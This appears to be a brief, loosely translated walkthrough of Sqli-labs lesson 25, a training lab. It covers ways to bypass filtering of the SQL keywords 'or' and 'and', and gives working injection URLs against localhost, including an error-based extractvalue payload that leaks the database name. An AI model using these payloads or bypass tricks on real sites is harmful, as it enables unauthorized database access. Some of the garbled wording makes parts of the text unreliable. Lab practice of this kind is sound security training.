Sqli-labs less 25

Less-25

This is primarily for or and filtering, how to bypass or and and filtering. General offers the following ideas:

1. Case-insensitive deformation or,or,or
2. Coding, Hex,urlencode
3. Add Comment/*or*/
4. Using Symbols and=&& or=| |

   Just think of this for the time being, and there are words to add.

   The use of this method (4).

   Error injection or example

   Http://127.0.0.1/sqllib/Less-25/index.php?id=1 ' | | Extractvalue (1,concat (0x7e,database ()))--+

   and example

   http://127.0.0.1/sqllib/Less-25/index.php?id=1&&1=1--+

Sqli-labs less 25